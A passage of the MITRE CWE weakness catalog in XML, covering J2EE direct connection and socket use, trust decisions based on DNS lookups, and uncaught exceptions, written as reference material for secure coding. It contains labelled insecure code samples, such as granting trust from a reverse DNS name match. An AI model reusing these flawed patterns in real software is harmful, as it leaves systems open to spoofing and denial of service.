			      <Description>
				        <Description_Summary>The J2EE application directly manages connections, instead of
					using the container's connection management facilities.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The J2EE standard forbids the direct management of connections. It
						requires that applications use the container's resource management
						facilities to obtain connections to resources. For example, a J2EE
						application should obtain a database connection as follows: ctx = new
						InitialContext(); datasource = (DataSource)ctx.lookup(DB_DATASRC_REF); conn
						= datasource.getConnection(); and should avoid obtaining a connection in
						this way: conn = DriverManager.getConnection(CONNECT_STRING); Every major
						web application container provides pooled database connection management as
						part of its resource management framework. Duplicating this functionality in
						an application is difficult and error prone, which is part of the reason it
						is forbidden under the J2EE standard.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, the class DatabaseConnection opens and
						manages a connection to a database for a J2EE application. The method
						openDatabaseConnection opens a connection to the database using a
						DriverManager to create the Connection object conn to the database specified
						in the string constant CONNECT_STRING.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class DatabaseConnection {</Code>
							              <Block>
								                <Code>private static final String CONNECT_STRING =
									"jdbc:mysql://localhost:3306/mysqldb";</Code>
								                <Code>private Connection conn = null;</Code>
								                <Code/>
								                <Code>public DatabaseConnection() {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void openDatabaseConnection() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>conn = DriverManager.getConnection(CONNECT_STRING);
										</Code>
									                  </Block>
									                  <Code>} catch (SQLException ex) {...} </Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>// Member functions for retrieving database connection and
									accessing database</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The use of the DriverManager class to directly manage the connection
							to the database violates the J2EE restriction against the direct
							management of connections. The J2EE application should use the web
							application container's resource management facilities to obtain a
							connection to the database as shown in the following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>public class DatabaseConnection {</Code>
							              <Code/>
							              <Block>
								                <Code>private static final String DB_DATASRC_REF =
									"jdbc:mysql://localhost:3306/mysqldb";</Code>
								                <Code>private Connection conn = null;</Code>
								                <Code/>
								                <Code>public DatabaseConnection() {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void openDatabaseConnection() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>InitialContext ctx = new InitialContext();</Code>
										                    <Code>DataSource datasource = (DataSource)
											ctx.lookup(DB_DATASRC_REF);</Code>
										                    <Code>conn = datasource.getConnection();</Code>
										                    <Code/>
									                  </Block>
									                  <Code>} catch (NamingException ex) {...}</Code>
									                  <Code>} catch (SQLException ex) {...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>// Member functions for retrieving database connection and
									accessing database</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Bad Practices: getConnection()</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Bad Practices:
						getConnection()</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="246" Name="J2EE Bad Practices: Direct Use of Sockets" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The J2EE application directly uses sockets instead of using
					framework method calls.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The J2EE standard permits the use of sockets only for the purpose of
						communication with legacy systems when no higher-level protocol is
						available. Authoring your own communication protocol requires wrestling with
						difficult security issues, including: - In-band versus out-of-band signaling
						- Compatibility between protocol versions - Channel security - Error
						handling - Network constraints (firewalls) - Session management Without
						significant scrutiny by a security expert, chances are good that a custom
						communication protocol will suffer from security problems. Many of the same
						issues apply to a custom implementation of a standard protocol. While there
						are usually more resources available that address security concerns related
						to implementing a standard protocol, these resources are also available to
						attackers.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use framework method calls instead of using sockets directly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a Socket object is created directly from
						within the body of a doGet() method in a Java servlet.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void doGet(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Comment>// Perform servlet tasks.</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// Open a socket to a remote server (bad).</Comment>
								                <Code>Socket sock = null;</Code>
								                <Code/>
								                <Code>try {</Code>
								                <Block>
									                  <Code>sock = new Socket(remoteHostname, 3000);</Code>
									                  <Code/>
									                  <Comment>// Do something with the socket.</Comment>
									                  <Code>...</Code>
								                </Block>
								                <Code>} catch (Exception e) {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>J2EE Bad Practices: Sockets</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">J2EE Bad Practices:
						Sockets</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="247" Name="Reliance on DNS Lookups in a Security Decision" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Attackers can spoof DNS entries. Do not rely on DNS names for
					security.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>807</Relationship_Target_ID>
					          <!--Reliance on Untrusted Inputs in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Many DNS servers are susceptible to spoofing attacks, so you should assume
						that your software will someday run in an environment with a compromised DNS
						server. If attackers are allowed to make DNS updates (sometimes called DNS
						cache poisoning), they can route your network traffic through their machines
						or make it appear as if their IP addresses are part of your domain. Do not
						base the security of your system on DNS names.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-42">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform proper forward and reverse DNS lookups to detect DNS spoofing.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-93">
					          <Intro_Text>The following code samples use a DNS lookup in order to decide
						whether or not an inbound request is from a trusted host. If an attacker can
						poison the DNS cache, they can gain trusted status.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>struct hostent *hp;struct in_addr myaddr;</Code>
							              <Code>char* tHost = "trustme.example.com";</Code>
							              <Code>myaddr.s_addr=inet_addr(ip_addr_string);</Code>
							              <Code/>
							              <Code>hp = gethostbyaddr((char *) &amp;myaddr, sizeof(struct in_addr),
								AF_INET);</Code>
							              <Code>if (hp &amp;&amp; !strncmp(hp-&gt;h_name, tHost, sizeof(tHost)))
								{</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>} else {</Code>
							              <Block>
								                <Code>trusted = false;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ip = request.getRemoteAddr();</Code>
							              <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
							              <Code>if (addr.getCanonicalHostName().endsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);</Code>
							              <Code>IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);</Code>
							              <Code>if (hostInfo.HostName.EndsWith("trustme.com")) {</Code>
							              <Block>
								                <Code>trusted = true;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>IP addresses are more reliable than DNS names, but they can also be
							spoofed. Attackers can easily forge the source IP address of the packets
							they send, but response packets will return to the forged IP address. To
							see the response packets, the attacker has to sniff the traffic between
							the victim machine and the forged IP address. In order to accomplish the
							required sniffing, attackers typically attempt to locate themselves on
							the same subnet as the victim machine. Attackers may be able to
							circumvent this requirement by using source routing, but source routing
							is disabled across much of the Internet today. In summary, IP address
							verification can be a useful part of an authentication scheme, but it
							should not be the single factor required for authentication.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 15: Not Updating Easily." Page 231</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 24: Trusting Network Name Resolution." Page
						361</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 16, "DNS Spoofing", Page 1002.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>275</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>89</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Often Misused:
						Authentication</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="248" Name="Uncaught Exception" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>An exception is thrown from a function, but it is not
					caught.</Description_Summary>
				        <Extended_Description>
					          <Text>When an exception is not caught, it may cause the program to crash or
						expose sensitive information.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An uncaught exception could cause the system to be placed in a state
							that could lead to a crash, exposure of sensitive information or other
							unintended behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-39">
					          <Intro_Text>In the following method a DNS lookup failure will cause the Servlet
						to throw an exception.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected void doPost (HttpServletRequest req, HttpServletResponse
								res) throws IOException {</Code>
							              <Block>
								                <Code>String ip = req.getRemoteAddr();</Code>
								                <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
								                <Code>...</Code>
								                <Code>out.println("hello " + addr.getHostName());</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The _alloca() function allocates memory on the stack. If an
						allocation request is too large for the available stack space, _alloca()
						throws an exception. If the exception is not caught, the program will crash,
						potentially enabling a denial of service attack. _alloca() has been
						deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with
						the more secure _alloca_s().</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>EnterCriticalSection() can raise an exception, potentially causing
						the program to crash. Under operating systems prior to Windows 2000, the
						EnterCriticalSection() function can raise an exception in low memory
						situations. If the exception is not caught, the program will crash,
						potentially enabling a denial of service attack.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Often Misused: Exception Handling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not let checked exceptions escape from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR05-J</Mapped_Node_ID>
